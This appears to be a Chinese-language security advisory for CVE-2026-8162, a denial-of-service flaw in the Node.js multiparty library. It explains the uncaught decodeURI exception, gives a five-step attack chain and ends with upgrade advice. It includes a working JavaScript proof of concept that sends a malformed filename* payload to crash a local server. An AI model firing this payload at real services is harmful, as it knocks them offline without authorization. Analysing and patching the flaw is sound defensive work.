IPBUF安全漏洞报告
English
CVE-2026-8162 CVSS 7.5 高危

CVE-2026-8162:multiparty库拒绝服务漏洞

披露日期: 2026-05-12
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-8162
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
multiparty

相关标签

拒绝服务DoSNode.jsmultipartyCVE-2026-8162Uncaught Exception

漏洞概述

该漏洞存在于 multiparty 库 4.2.3 及更低版本中,这是一个在 Node.js 生态系统中广泛使用的用于解析 multipart/form-data 请求的库。漏洞的核心在于对 Content-Disposition 头部字段中 filename* 参数的不当处理。当攻击者向服务器发送特制的恶意请求时,若 filename* 参数包含格式错误的百分号编码,multiparty 解析器在调用 decodeURI 函数对其进行解码时,会抛出 URIError 异常。由于相关代码逻辑中未包含异常捕获模块,该错误将作为未捕获异常传播,直接导致 Node.js 进程崩溃。这使得攻击者能够在无需用户交互或认证的情况下,远程发起拒绝服务攻击,导致目标服务不可用。鉴于该组件的高使用率,其潜在影响范围较大。

技术细节

该漏洞属于典型的因输入验证不足和异常处理缺失导致的拒绝服务漏洞。从技术原理上分析,multiparty 库旨在帮助 Node.js 应用程序解析复杂的 multipart/form-data 表单数据,通常用于文件上传场景。根据 RFC 5987 规范,Content-Disposition 头部支持扩展参数 filename*,该参数允许使用字符集和语言标签,并且其值通常包含经过百分号编码的字符。在受影响版本的代码实现中,multiparty 直接使用了 JavaScript 内置的 decodeURI() 函数来解码该参数。
decodeURI() 函数具有严格的输入要求,当遇到不完整的百分号序列(如单独的 '%')或无效的十六进制字符(如 '%zz')时,它会强制抛出 URIError 异常。在正常的防御性编程实践中,此类可能受用户输入影响的函数调用应当被包裹在 try-catch 块中以捕获潜在的运行时错误。然而,multiparty 在此处的实现缺乏这一保护机制。因此,当攻击者构造一个包含恶意编码字符的 HTTP 请求并发送给服务器时,解析器在处理 filename* 参数时会触发异常。由于 Node.js 的单线程事件循环机制,未捕获的异常(Uncaught Exception)被视为致命错误,默认行为是立即终止整个进程。这意味着攻击者只需发送一个数据包,就能瞬间杀掉服务进程,造成严重的服务中断。

攻击链分析

STEP 1
侦察
攻击者识别目标是否在 Node.js 环境中使用了 multiparty 库来处理文件上传接口。
STEP 2
制作载荷
攻击者构造一个 HTTP POST 请求,Content-Type 为 multipart/form-data,并在 Content-Disposition 头部的 filename* 参数中插入格式错误的百分号编码(例如 %invalid)。
STEP 3
发送请求
攻击者通过网络将特制的恶意请求发送给目标服务器的上传端点。
STEP 4
触发漏洞
服务器端的 multiparty 解析器在处理请求时,调用 decodeURI() 解码 filename* 参数,由于编码非法,函数抛出 URIError。
STEP 5
系统崩溃
由于代码中未捕获该异常,异常传播至事件循环顶层,导致 Node.js 进程立即退出,服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const http = require('http'); const multiparty = require('multiparty'); // Create a vulnerable server instance const server = http.createServer((req, res) => { if (req.url === '/upload' && req.method === 'POST') { const form = new multiparty.Form(); form.parse(req, (err, fields, files) => { if (err) { res.writeHead(500); res.end('Error parsing form'); return; } res.writeHead(200); res.end('File uploaded'); }); } else { res.writeHead(200); res.end('Send a POST to /upload'); } }); server.listen(3000, () => { console.log('Vulnerable server running on port 3000'); // Malicious payload with malformed percent-encoding in filename* // The '%invalid' sequence will cause decodeURI to throw URIError const payload = `-----------------------------boundary Content-Disposition: form-data; name="file"; filename*="UTF-8''%invalid% File content -----------------------------boundary-- `; const options = { hostname: 'localhost', port: 3000, path: '/upload', method: 'POST', headers: { 'Content-Type': 'multipart/form-data; boundary=---------------------------boundary', 'Content-Length': Buffer.byteLength(payload) } }; const req = http.request(options, (res) => { console.log(`Response status: ${res.statusCode}`); }); req.on('error', (e) => { // This error is expected as the target server will crash console.error(`Request error (connection reset): ${e.message}`); }); req.write(payload); req.end(); console.log('Malicious request sent. The server process should crash now.'); });

影响范围

multiparty <= 4.2.3

防御指南

临时缓解措施
目前官方未提供除升级以外的有效临时缓解措施,建议尽快升级至修复版本以防止攻击。

参考链接